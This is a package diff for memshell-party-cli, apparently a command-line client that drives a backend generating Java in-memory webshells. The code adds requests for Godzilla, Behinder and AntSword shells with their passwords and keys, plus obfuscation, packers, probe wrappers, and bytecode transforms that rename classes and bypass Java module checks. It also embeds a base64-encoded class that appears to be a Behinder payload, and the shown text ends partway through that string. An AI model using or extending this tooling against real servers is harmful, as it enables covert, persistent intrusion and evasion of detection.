memshell-party-cli 0.7.0 → 0.8.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.en.md +41 -11
- package/README.md +22 -2
- package/dist/cli.js +729 -290
- package/dist/cli.js.map +1 -1
- package/dist/index.d.ts +81 -11
- package/dist/index.js +1006 -210
- package/dist/index.js.map +1 -1
- package/package.json +3 -1
- package/skills/memshell-party/SKILL.md +521 -494
package/dist/cli.js
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
#!/usr/bin/env node
|
|
2
2
|
|
|
3
3
|
// src/cli.ts
|
|
4
|
-
import { Command as
|
|
4
|
+
import { Command as Command12, CommanderError as CommanderError2 } from "commander";
|
|
5
5
|
|
|
6
6
|
// src/api/client.ts
|
|
7
7
|
var ApiError = class extends Error {
|
|
@@ -18,6 +18,7 @@ var MemPartyClient = class {
|
|
|
18
18
|
baseUrl;
|
|
19
19
|
fetchImpl;
|
|
20
20
|
timeoutMs;
|
|
21
|
+
generationApiVersion;
|
|
21
22
|
constructor(options) {
|
|
22
23
|
this.baseUrl = options.baseUrl.replace(/\/+$/, "");
|
|
23
24
|
this.fetchImpl = options.fetch ?? globalThis.fetch;
|
|
@@ -29,8 +30,14 @@ var MemPartyClient = class {
|
|
|
29
30
|
}
|
|
30
31
|
}
|
|
31
32
|
// ---------- config ----------
|
|
32
|
-
getServers() {
|
|
33
|
-
|
|
33
|
+
async getServers() {
|
|
34
|
+
const config = await this.getConfig();
|
|
35
|
+
return Object.fromEntries(
|
|
36
|
+
Object.entries(config).map(([server, tools]) => [
|
|
37
|
+
server,
|
|
38
|
+
[...new Set(Object.values(tools).flat())]
|
|
39
|
+
])
|
|
40
|
+
);
|
|
34
41
|
}
|
|
35
42
|
getConfig() {
|
|
36
43
|
return this.request("GET", "/api/config");
|
|
@@ -38,28 +45,68 @@ var MemPartyClient = class {
|
|
|
38
45
|
getPackerTree() {
|
|
39
46
|
return this.request("GET", "/api/config/packers/tree");
|
|
40
47
|
}
|
|
41
|
-
getPackers() {
|
|
42
|
-
|
|
48
|
+
async getPackers() {
|
|
49
|
+
try {
|
|
50
|
+
return await this.request("GET", "/api/config/packers");
|
|
51
|
+
} catch (err) {
|
|
52
|
+
if (!(err instanceof ApiError) || err.status !== 404) throw err;
|
|
53
|
+
return (await this.getPackerTree()).map((packer) => packer.name);
|
|
54
|
+
}
|
|
43
55
|
}
|
|
44
|
-
getCommandConfigs() {
|
|
56
|
+
async getCommandConfigs() {
|
|
57
|
+
const configs = await this.getShellToolConfigs();
|
|
58
|
+
const command = configs.find((config) => config.tool === "Command");
|
|
59
|
+
if (command) {
|
|
60
|
+
return {
|
|
61
|
+
encryptors: command.params.find((param) => param.name === "encryptor")?.options ?? [],
|
|
62
|
+
implementationClasses: command.params.find((param) => param.name === "implementationClass")?.options ?? []
|
|
63
|
+
};
|
|
64
|
+
}
|
|
45
65
|
return this.request("GET", "/api/config/command/configs");
|
|
46
66
|
}
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
67
|
+
async getShellToolConfigs() {
|
|
68
|
+
try {
|
|
69
|
+
return await this.request("GET", "/api/config/shelltool/configs");
|
|
70
|
+
} catch (err) {
|
|
71
|
+
if (err instanceof ApiError && err.status === 404) return [];
|
|
72
|
+
throw err;
|
|
73
|
+
}
|
|
74
|
+
}
|
|
75
|
+
getObfuscationOptions() {
|
|
76
|
+
return this.request("GET", "/api/config/obfuscation/options");
|
|
77
|
+
}
|
|
78
|
+
async getProbeResponseServers() {
|
|
79
|
+
try {
|
|
80
|
+
return await this.request("GET", "/api/config/probe/response/servers");
|
|
81
|
+
} catch (err) {
|
|
82
|
+
if (err instanceof ApiError && err.status === 404) return [];
|
|
83
|
+
throw err;
|
|
84
|
+
}
|
|
54
85
|
}
|
|
55
86
|
getVersion() {
|
|
56
87
|
return this.request("GET", "/api/version");
|
|
57
88
|
}
|
|
58
89
|
// ---------- generation ----------
|
|
59
|
-
generateMemShell(req) {
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
90
|
+
async generateMemShell(req) {
|
|
91
|
+
const apiVersion = await this.getGenerationApiVersion();
|
|
92
|
+
try {
|
|
93
|
+
return await this.request("POST", "/api/memshell/generate", {
|
|
94
|
+
json: apiVersion === "v2" ? toLegacyMemShellRequest(req) : req
|
|
95
|
+
});
|
|
96
|
+
} catch (err) {
|
|
97
|
+
if (apiVersion === "v3" && err instanceof ApiError && /Unsupported packer:/.test(err.message)) {
|
|
98
|
+
throw new ApiError(
|
|
99
|
+
`${err.message}. On v3, packer groups are only categories; choose a leaf from 'memparty config packers' (e.g. DefaultBase64, not Base64).`,
|
|
100
|
+
err.status,
|
|
101
|
+
err.url
|
|
102
|
+
);
|
|
103
|
+
}
|
|
104
|
+
throw err;
|
|
105
|
+
}
|
|
106
|
+
}
|
|
107
|
+
getGenerationApiVersion() {
|
|
108
|
+
this.generationApiVersion ??= this.getVersion().then((version2) => Number(version2.currentVersion.split(".")[0]) >= 3 ? "v3" : "v2").catch(() => "v3");
|
|
109
|
+
return this.generationApiVersion;
|
|
63
110
|
}
|
|
64
111
|
generateProbe(req) {
|
|
65
112
|
return this.request("POST", "/api/probe/generate", {
|
|
@@ -73,6 +120,16 @@ var MemPartyClient = class {
|
|
|
73
120
|
raw: true
|
|
74
121
|
});
|
|
75
122
|
}
|
|
123
|
+
decodeBytecode(classBase64) {
|
|
124
|
+
return this.request("POST", "/api/bytecode/decode", {
|
|
125
|
+
text: classBase64
|
|
126
|
+
});
|
|
127
|
+
}
|
|
128
|
+
transformBytecode(req) {
|
|
129
|
+
return this.request("POST", "/api/bytecode/transform", {
|
|
130
|
+
json: req
|
|
131
|
+
});
|
|
132
|
+
}
|
|
76
133
|
// ---------- transport ----------
|
|
77
134
|
async request(method, path, opts = {}) {
|
|
78
135
|
const url = `${this.baseUrl}${path}`;
|
|
@@ -126,6 +183,26 @@ var MemPartyClient = class {
|
|
|
126
183
|
return JSON.parse(rawText);
|
|
127
184
|
}
|
|
128
185
|
};
|
|
186
|
+
function toLegacyMemShellRequest(req) {
|
|
187
|
+
const { pass, key, paramName, template, ...common } = req.shellToolConfig;
|
|
188
|
+
const { obfuscation: _obfuscation, obfuscationScope: _obfuscationScope, ...shellConfig } = req.shellConfig;
|
|
189
|
+
return {
|
|
190
|
+
...req,
|
|
191
|
+
shellConfig: {
|
|
192
|
+
...shellConfig,
|
|
193
|
+
probe: shellConfig.probe ? true : void 0
|
|
194
|
+
},
|
|
195
|
+
shellToolConfig: {
|
|
196
|
+
...common,
|
|
197
|
+
godzillaPass: req.shellConfig.shellTool.startsWith("Godzilla") ? pass : void 0,
|
|
198
|
+
godzillaKey: key,
|
|
199
|
+
commandParamName: paramName,
|
|
200
|
+
commandTemplate: template,
|
|
201
|
+
behinderPass: req.shellConfig.shellTool === "Behinder" ? pass : void 0,
|
|
202
|
+
antSwordPass: req.shellConfig.shellTool === "AntSword" ? pass : void 0
|
|
203
|
+
}
|
|
204
|
+
};
|
|
205
|
+
}
|
|
129
206
|
|
|
130
207
|
// src/core/config.ts
|
|
131
208
|
import { readFileSync } from "fs";
|
|
@@ -193,6 +270,8 @@ Examples:
|
|
|
193
270
|
$ memparty config tools Tomcat # tools available on one server (values for gen -t)
|
|
194
271
|
$ memparty config packers # packer tree (values for gen -p)
|
|
195
272
|
$ memparty config command # Command-tool encryptors and impl classes
|
|
273
|
+
$ memparty config tool-configs # v3+ tool parameter names and enum values
|
|
274
|
+
$ memparty config obfuscation # v3+ obfuscation option reference
|
|
196
275
|
`
|
|
197
276
|
);
|
|
198
277
|
config.command("servers").description("List supported servers and their shell types").option("--json", "output raw JSON").action(async (opts, cmd) => {
|
|
@@ -228,6 +307,31 @@ Examples:
|
|
|
228
307
|
${p.children.join(", ")}` : p.name)
|
|
229
308
|
);
|
|
230
309
|
});
|
|
310
|
+
config.command("tool-configs").description("List shell tool parameters (empty for v2 backends)").option("--json", "output raw JSON").action(async (opts, cmd) => {
|
|
311
|
+
const client = createClient(cmd.optsWithGlobals());
|
|
312
|
+
const configs = await client.getShellToolConfigs();
|
|
313
|
+
printJsonOrLines(
|
|
314
|
+
configs,
|
|
315
|
+
opts.json,
|
|
316
|
+
() => configs.length ? configs.flatMap((config2) => [
|
|
317
|
+
config2.tool,
|
|
318
|
+
...config2.params.map(
|
|
319
|
+
(param) => ` ${param.name} (${param.type})${param.options.length ? `: ${param.options.join(", ")}` : ""}`
|
|
320
|
+
)
|
|
321
|
+
]) : ["No v3 shell-tool config endpoint on this backend."]
|
|
322
|
+
);
|
|
323
|
+
});
|
|
324
|
+
config.command("obfuscation").description("List obfuscation options (MemShellParty v3+)").option("--json", "output raw JSON").action(async (opts, cmd) => {
|
|
325
|
+
const client = createClient(cmd.optsWithGlobals());
|
|
326
|
+
const options = await client.getObfuscationOptions();
|
|
327
|
+
printJsonOrLines(
|
|
328
|
+
options,
|
|
329
|
+
opts.json,
|
|
330
|
+
() => options.map(
|
|
331
|
+
(option) => Object.entries(option).map(([key, value]) => `${key}=${JSON.stringify(value)}`).join(" ")
|
|
332
|
+
)
|
|
333
|
+
);
|
|
334
|
+
});
|
|
231
335
|
config.command("command").description("List Command-tool encryptors and implementation classes").option("--json", "output raw JSON").action(async (opts, cmd) => {
|
|
232
336
|
const client = createClient(cmd.optsWithGlobals());
|
|
233
337
|
const cc = await client.getCommandConfigs();
|
|
@@ -238,9 +342,160 @@ Examples:
|
|
|
238
342
|
});
|
|
239
343
|
}
|
|
240
344
|
|
|
241
|
-
// src/commands/
|
|
345
|
+
// src/commands/bytecode.ts
|
|
346
|
+
import { readFileSync as readFileSync2 } from "fs";
|
|
242
347
|
import { Option } from "commander";
|
|
243
348
|
|
|
349
|
+
// src/core/output.ts
|
|
350
|
+
import { writeFileSync } from "fs";
|
|
351
|
+
var BINARY_EXTENSIONS = [".class", ".jar", ".zip", ".ser", ".bin"];
|
|
352
|
+
function hasBinaryExtension(path) {
|
|
353
|
+
const lower = path.toLowerCase();
|
|
354
|
+
return BINARY_EXTENSIONS.some((ext) => lower.endsWith(ext));
|
|
355
|
+
}
|
|
356
|
+
function shouldDecode(opts) {
|
|
357
|
+
if (opts.decode !== void 0) return opts.decode;
|
|
358
|
+
if (opts.outFile) return hasBinaryExtension(opts.outFile);
|
|
359
|
+
return false;
|
|
360
|
+
}
|
|
361
|
+
function emitPayload(payload, opts, sinks = {}) {
|
|
362
|
+
const writeFile = sinks.writeFile ?? ((p, d) => writeFileSync(p, d));
|
|
363
|
+
const writeStdout = sinks.writeStdout ?? ((d) => process.stdout.write(d));
|
|
364
|
+
const decoded = shouldDecode(opts);
|
|
365
|
+
if (opts.outFile) {
|
|
366
|
+
if (decoded) {
|
|
367
|
+
const buf = Buffer.from(payload, "base64");
|
|
368
|
+
writeFile(opts.outFile, buf);
|
|
369
|
+
return { destination: opts.outFile, size: buf.length, decoded: true };
|
|
370
|
+
}
|
|
371
|
+
writeFile(opts.outFile, payload);
|
|
372
|
+
return { destination: opts.outFile, size: Buffer.byteLength(payload), decoded: false };
|
|
373
|
+
}
|
|
374
|
+
if (decoded) {
|
|
375
|
+
const buf = Buffer.from(payload, "base64");
|
|
376
|
+
writeStdout(buf.toString("binary"));
|
|
377
|
+
return { destination: "stdout", size: buf.length, decoded: true };
|
|
378
|
+
}
|
|
379
|
+
writeStdout(payload.endsWith("\n") ? payload : `${payload}
|
|
380
|
+
`);
|
|
381
|
+
return { destination: "stdout", size: payload.length, decoded: false };
|
|
382
|
+
}
|
|
383
|
+
function hasMultiplePackResults(r) {
|
|
384
|
+
return r.allPackResults != null && Object.keys(r.allPackResults).length > 0;
|
|
385
|
+
}
|
|
386
|
+
function emitSinglePackResult(r, opts, sinks = {}) {
|
|
387
|
+
if (hasMultiplePackResults(r)) {
|
|
388
|
+
const n = Object.keys(r.allPackResults).length;
|
|
389
|
+
throw new Error(
|
|
390
|
+
`the aggregate packer returned ${n} variants at once \u2014 cannot write them to a single file. Pick a leaf packer instead (see 'memparty config packers', e.g. DefaultBase64).`
|
|
391
|
+
);
|
|
392
|
+
}
|
|
393
|
+
if (r.packResult === void 0) {
|
|
394
|
+
throw new Error("Server returned no packResult.");
|
|
395
|
+
}
|
|
396
|
+
return emitPayload(r.packResult, opts, sinks);
|
|
397
|
+
}
|
|
398
|
+
|
|
399
|
+
// src/core/obfuscation.ts
|
|
400
|
+
function parseObfuscationOptions(input3) {
|
|
401
|
+
if (input3 === void 0 || input3.trim() === "") return void 0;
|
|
402
|
+
const options = {};
|
|
403
|
+
for (const entry of input3.split(/[,\n]/)) {
|
|
404
|
+
const separator = entry.indexOf("=");
|
|
405
|
+
const key = entry.slice(0, separator < 0 ? void 0 : separator).trim();
|
|
406
|
+
if (separator < 0 || key === "") {
|
|
407
|
+
throw new Error(`Invalid obfuscation option "${entry.trim()}": expected key=value.`);
|
|
408
|
+
}
|
|
409
|
+
if (Object.hasOwn(options, key)) {
|
|
410
|
+
throw new Error(`Duplicate obfuscation option "${key}".`);
|
|
411
|
+
}
|
|
412
|
+
const value = entry.slice(separator + 1).trim();
|
|
413
|
+
if (value === "true" || value === "false") {
|
|
414
|
+
options[key] = value === "true";
|
|
415
|
+
} else if (/^-?(?:\d+|\d*\.\d+)$/.test(value)) {
|
|
416
|
+
options[key] = Number(value);
|
|
417
|
+
} else {
|
|
418
|
+
options[key] = value;
|
|
419
|
+
}
|
|
420
|
+
}
|
|
421
|
+
return options;
|
|
422
|
+
}
|
|
423
|
+
|
|
424
|
+
// src/commands/bytecode.ts
|
|
425
|
+
function classInput(base64, file) {
|
|
426
|
+
if (file !== void 0 && base64 !== void 0) {
|
|
427
|
+
throw new Error("Pass either a Base64 argument or --file, not both.");
|
|
428
|
+
}
|
|
429
|
+
if (file !== void 0) return readFileSync2(file).toString("base64");
|
|
430
|
+
if (base64 !== void 0) return base64;
|
|
431
|
+
if (process.stdin.isTTY) {
|
|
432
|
+
throw new Error("Provide Base64 as an argument, --file <path>, or Base64 on stdin.");
|
|
433
|
+
}
|
|
434
|
+
return readFileSync2(0, "utf8");
|
|
435
|
+
}
|
|
436
|
+
function buildBytecodeTransformRequest(base64, opts) {
|
|
437
|
+
const renamePackage = opts.renamePackage || opts.relocateFrom !== void 0 || opts.relocateTo !== void 0;
|
|
438
|
+
if (renamePackage && (!opts.relocateFrom || !opts.relocateTo)) {
|
|
439
|
+
throw new Error("Package relocation requires both --relocate-from and --relocate-to.");
|
|
440
|
+
}
|
|
441
|
+
const obfuscation = opts.obfuscate || opts.obfuscationOptions !== void 0 ? { enabled: true, options: parseObfuscationOptions(opts.obfuscationOptions) } : void 0;
|
|
442
|
+
return {
|
|
443
|
+
classBytesBase64: base64,
|
|
444
|
+
...opts.packer === void 0 ? {} : { packer: opts.packer },
|
|
445
|
+
...opts.bypassModule === void 0 ? {} : { byPassJavaModule: opts.bypassModule },
|
|
446
|
+
...opts.staticInitialize === void 0 ? {} : { staticInitialize: opts.staticInitialize },
|
|
447
|
+
...opts.shrink === void 0 ? {} : { shrink: opts.shrink },
|
|
448
|
+
...renamePackage ? { renamePackage, relocateFrom: opts.relocateFrom, relocateTo: opts.relocateTo } : {},
|
|
449
|
+
...opts.entryMethod === void 0 ? {} : { entryMethod: opts.entryMethod },
|
|
450
|
+
...opts.newClassName === void 0 ? {} : { newClassName: opts.newClassName },
|
|
451
|
+
...opts.randomName === void 0 ? {} : { randomName: opts.randomName },
|
|
452
|
+
...obfuscation === void 0 ? {} : { obfuscation },
|
|
453
|
+
...opts.probeMethod === void 0 ? {} : {
|
|
454
|
+
server: opts.server ?? "Unknown",
|
|
455
|
+
probe: {
|
|
456
|
+
probeMethod: opts.probeMethod,
|
|
457
|
+
probeContent: "Bytecode",
|
|
458
|
+
respHeaderName: opts.respHeaderName
|
|
459
|
+
}
|
|
460
|
+
}
|
|
461
|
+
};
|
|
462
|
+
}
|
|
463
|
+
function registerBytecodeCommand(program) {
|
|
464
|
+
const command = program.command("bytecode").description("Decode and transform arbitrary Java classes (MemShellParty v3+)");
|
|
465
|
+
command.command("decode").description("Decode Base64/GzipBase64 class bytes and print class metadata").argument("[base64]", "Base64/GzipBase64 class bytes (omit when using --file or stdin)").option("-f, --file <path>", "read a .class file from disk").option("--json", "print the full JSON response").addHelpText("after", "\nExamples:\n $ memparty bytecode decode -f Payload.class\n $ cat Payload.class | memparty bytecode decode --json\n").action(async (base64, opts, cmd) => {
|
|
466
|
+
const client = createClient(cmd.optsWithGlobals());
|
|
467
|
+
const result = await client.decodeBytecode(classInput(base64, opts.file));
|
|
468
|
+
if (opts.json) process.stdout.write(`${JSON.stringify(result, null, 2)}
|
|
469
|
+
`);
|
|
470
|
+
else process.stdout.write(`${result.className} (${result.size} bytes)
|
|
471
|
+
${result.classBytesBase64Str}
|
|
472
|
+
`);
|
|
473
|
+
});
|
|
474
|
+
command.command("transform").description("Rename, relocate, instrument, obfuscate or pack a class").argument("[base64]", "Base64/GzipBase64 class bytes (omit when using --file or stdin)").option("-f, --file <path>", "read a .class file from disk").option("-p, --packer <packer>", "packer, e.g. DefaultBase64, JSP").option("--bypass-module", "bypass Java module restrictions").option("--static-initialize", "call the no-argument constructor from a static initializer").option("--no-shrink", "keep bytecode debug information").option("--rename-package", "enable package relocation").option("--relocate-from <prefix>", "original package prefix, e.g. javax.servlet").option("--relocate-to <prefix>", "replacement package prefix, e.g. jakarta.servlet").option("--entry-method <signature>", "add an entry method, e.g. 'public static void main(String[] args)'").option("--new-class-name <name>", "new simple or fully-qualified class name").option("--random-name", "generate a random class and package name").option("--obfuscate", "enable class obfuscation").option("--obfuscation-options <options>", "obfuscation overrides: key=value, comma-separated").option("--server <server>", "response-wrapper server (default: Unknown)").addOption(new Option("--probe-method <method>", "embed a Bytecode response wrapper").choices(["ResponseBody", "ResponseHeader"])).option("--resp-header-name <name>", "ResponseHeader response header (random when omitted)").option("-o, --output <file>", "write the packed result, or the transformed class when no packer is given").option("--json", "print the full JSON response; outputFile is added when -o is used").addHelpText("after", "\nExamples:\n $ memparty bytecode transform -f Payload.class --relocate-from javax.servlet --relocate-to jakarta.servlet -o JakartaPayload.class\n $ memparty bytecode transform -f Payload.class --entry-method 'public static void main(String[] args)' -o Entry.class\n $ memparty bytecode transform -f Payload.class --server Tomcat --probe-method ResponseHeader -p DefaultBase64 -o Probe.class --json\n").action(async (base64, opts, cmd) => {
|
|
475
|
+
const client = createClient(cmd.optsWithGlobals());
|
|
476
|
+
const request = buildBytecodeTransformRequest(classInput(base64, opts.file), opts);
|
|
477
|
+
const result = await client.transformBytecode(request);
|
|
478
|
+
const outputFile = opts.output === void 0 ? void 0 : result.packResult !== void 0 ? emitSinglePackResult(result, { outFile: opts.output }) : emitPayload(result.classBytesBase64Str, { outFile: opts.output, decode: true });
|
|
479
|
+
if (opts.json) {
|
|
480
|
+
process.stdout.write(`${JSON.stringify(outputFile === void 0 ? result : { ...result, outputFile }, null, 2)}
|
|
481
|
+
`);
|
|
482
|
+
return;
|
|
483
|
+
}
|
|
484
|
+
logInfo(`class: ${result.className} (${result.size} bytes)`);
|
|
485
|
+
if (outputFile !== void 0) {
|
|
486
|
+
logInfo(`wrote ${outputFile.size} bytes to ${outputFile.destination}`);
|
|
487
|
+
} else if (result.packResult !== void 0) {
|
|
488
|
+
emitSinglePackResult(result, {});
|
|
489
|
+
} else {
|
|
490
|
+
process.stdout.write(`${result.classBytesBase64Str}
|
|
491
|
+
`);
|
|
492
|
+
}
|
|
493
|
+
});
|
|
494
|
+
}
|
|
495
|
+
|
|
496
|
+
// src/commands/connect.ts
|
|
497
|
+
import { Option as Option2 } from "commander";
|
|
498
|
+
|
|
244
499
|
// src/connect/assets.ts
|
|
245
500
|
var ECHO_CLASS_B64 = "yv66vgAAADQBRwoADwCtBwCuCgACAK0KAGEArwgAsAgAsQsASwCyCACzCQBhALQJAGEAtQoADwC2CAC3BwC4CgANALkHALoKALsAvAgAcwcAgAoAYQC9CAC+CgAeAL8KAGEAwAgAwQgAwgcAwwoAGQDECgAZAMUJAGEAxggAxwcAyAgAyQoADwDKCADLBwDMCADNCgAiAM4IAM8KACcA0AcA0QoAJwDSCgAnANMHANQKACoArQoAKgDVCgAqANYKAGEA1woAHgDYBwDZCgAwAK0IANoKANsA3AgA3QoAMADeCwBLAN8LAOAA4QsAlADiCwCUAOMIAOQIAOUKADAAygsASwDmCADnCADoCgAeAOkKADAA6goAMADrCADsCgANAO0IAO4KAB4A7wgA8AkAYQDxCADyCADzBwD0CAD1CAD2CAD3CAD4CAD5CAD6CgANAPsIAPwIAP0HAP4IAP8KAA0BAAgAjwgBAQoAHgECCAEDCgAeAQQKAQUBBgcBBwoAXgCtCgBeAQgHAQkBAAdjb250ZW50AQASTGphdmEvbGFuZy9TdHJpbmc7AQALcGF5bG9hZEJvZHkBAAdSZXF1ZXN0AQASTGphdmEvbGFuZy9PYmplY3Q7AQAIUmVzcG9uc2UBAAdTZXNzaW9uAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAClMbmV0L3JlYmV5b25kL2JlaGluZGVyL3BheWxvYWQvamF2YS9FY2hvOwEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAAnNvAQAFd3JpdGUBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAANvYmoBAAZyZXN1bHQBAA9MamF2YS91dGlsL01hcDsBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQA1TGphdmEvdXRpbC9NYXA8TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7PjsBAA1TdGFja01hcFRhYmxlAQAHRW5jcnlwdAEABihbQilbQgEAAmJzAQACW0IBAANrZXkBAANyYXcBAAhza2V5U3BlYwEAIUxqYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjOwEABmNpcGhlcgEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEACWVuY3J5cHRlZAEAA2JvcwEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAApFeGNlcHRpb25zAQAJYnVpbGRKc29uAQAkKExqYXZhL3V0aWwvTWFwO1opTGphdmEvbGFuZy9TdHJpbmc7AQAFdmFsdWUBAAZlbnRpdHkBAAZlbmNvZGUBAAFaAQACc2IBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAHdmVyc2lvbgcBCgEACVNpZ25hdHVyZQEASihMamF2YS91dGlsL01hcDxMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzs+O1opTGphdmEvbGFuZy9TdHJpbmc7AQALZmlsbENvbnRleHQBABUoTGphdmEvbGFuZy9PYmplY3Q7KVYBAAZvYmpNYXABADVMamF2YS91dGlsL01hcDxMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDs+OwEADGJhc2U2NGVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdFbmNvZGVyAQAGQmFzZTY0AQARTGphdmEvbGFuZy9DbGFzczsBAAVlcnJvcgEAFUxqYXZhL2xhbmcvVGhyb3dhYmxlOwEABGRhdGEBAAhnZXRNYWdpYwEABCgpW0IBAAFpAQABSQEACG1hZ2ljTnVtAQAGcmFuZG9tAQASTGphdmEvdXRpbC9SYW5kb207AQADYnVmAQAKU291cmNlRmlsZQEACUVjaG8uamF2YQwAaQBqAQAXamF2YS91dGlsL0xpbmtlZEhhc2hNYXAMAJcAmAEABnN0YXR1cwEAB3N1Y2Nlc3MMAQsBDAEAA21zZwwAYgBjDABnAGYMAQ0BDgEAD2dldE91dHB1dFN0cmVhbQEAD2phdmEvbGFuZy9DbGFzcwwBDwEQAQAQamF2YS9sYW5nL09iamVjdAcBEQwBEgETDACLAIwBAAVVVEYtOAwBFAEVDAB9AH4BAAVmbHVzaAEABWNsb3NlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwBFgBqDAEXARgMAGgAZgEADGdldEF0dHJpYnV0ZQEAEGphdmEvbGFuZy9TdHJpbmcBAAF1DAEZARgBAAV1dGYtOAEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBAANBRVMMAGkBGgEAFEFFUy9FQ0IvUEtDUzVQYWRkaW5nDAEbARwBABNqYXZheC9jcnlwdG8vQ2lwaGVyDAEdAR4MAR8AfgEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDABzASAMASEApAwAmwCcDAEUAKQBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEADGphdmEudmVyc2lvbgcBIgwBIwEkAQABewwBJQEmDAEnASgHASkMASoBKwwBLAEtDAEuAS8BAAEiAQADIjoiDAEwATEBAAIiLAEAASwMATIBMwwBNAE1DAE2ATcBAAF9DAE4ARgBAAtQYWdlQ29udGV4dAwBOQE6AQAKZ2V0UmVxdWVzdAwAZQBmAQALZ2V0UmVzcG9uc2UBAApnZXRTZXNzaW9uAQANamF2YS91dGlsL01hcAEAB3Nlc3Npb24BAAhyZXNwb25zZQEAB3JlcXVlc3QBABRzZXRDaGFyYWN0ZXJFbmNvZGluZwEAAAEAEGphdmEudXRpbC5CYXNlNjQMATsBPAEACmdldEVuY29kZXIBAA5lbmNvZGVUb1N0cmluZwEAE2phdmEvbGFuZy9UaHJvd2FibGUBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAE9AS8BAAEKDAE+AT8BAAENDAFAAUEHAUIMAUMBRAEAEGphdmEvdXRpbC9SYW5kb20MAUUBRgEAJ25ldC9yZWJleW9uZC9iZWhpbmRlci9wYXlsb2FkL2phdmEvRWNobwEAEmphdmEvdXRpbC9JdGVyYXRvcgEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldEJ5dGVzAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAD3ByaW50U3RhY2tUcmFjZQEACmdldE1lc3NhZ2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACHRvU3RyaW5nAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAEaW5pdAEAFyhJTGphdmEvc2VjdXJpdHkvS2V5OylWAQAHZG9GaW5hbAEABShbQilWAQALdG9CeXRlQXJyYXkBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEABmtleVNldAEAESgpTGphdmEvdXRpbC9TZXQ7AQANamF2YS91dGlsL1NldAEACGl0ZXJhdG9yAQAWKClMamF2YS91dGlsL0l0ZXJhdG9yOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAUKClMamF2YS9sYW5nL09iamVjdDsBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGVuZHNXaXRoAQAVKExqYXZhL2xhbmcvU3RyaW5nOylaAQAGbGVuZ3RoAQADKClJAQAJc2V0TGVuZ3RoAQAEKEkpVgEAB2dldE5hbWUBAAdpbmRleE9mAQAVKExqYXZhL2xhbmcvU3RyaW5nOylJAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAtuZXdJbnN0YW5jZQEAB3JlcGxhY2UBAEQoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7TGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KUxqYXZhL2xhbmcvU3RyaW5nOwEACXN1YnN0cmluZwEAFihJSSlMamF2YS9sYW5nL1N0cmluZzsBABFqYXZhL2xhbmcvSW50ZWdlcgEACHBhcnNlSW50AQAWKExqYXZhL2xhbmcvU3RyaW5nO0kpSQEAB25leHRJbnQBAAQoSSlJACEAYQAPAAAABQAJAGIAYwAAAAkAZABjAAAAAgBlAGYAAAACAGcAZgAAAAIAaABmAAAABwABAGkAagABAGsAAAAvAAEAAQAAAAUqtwABsQAAAAIAbAAAAAYAAQAAAA4AbQAAAAwAAQAAAAUAbgBvAAAAAQBwAHEAAQBrAAADkwAJAAgAAAHWuwACWbcAA00qK7cABCwSBRIGuQAHAwBXLBIIsgAJuQAHAwBXKrQACrYACxIMA70ADbYADiq0AAoDvQAPtgAQTi22AAsSEQS9AA1ZAxISU7YADjoEGQQtBL0AD1kDKiosBLcAExIUtgAVtwAWU7YAEFcttgALEhcDvQANtgAOLQO9AA+2ABBXLbYACxIYA70ADbYADi0DvQAPtgAQV6cBN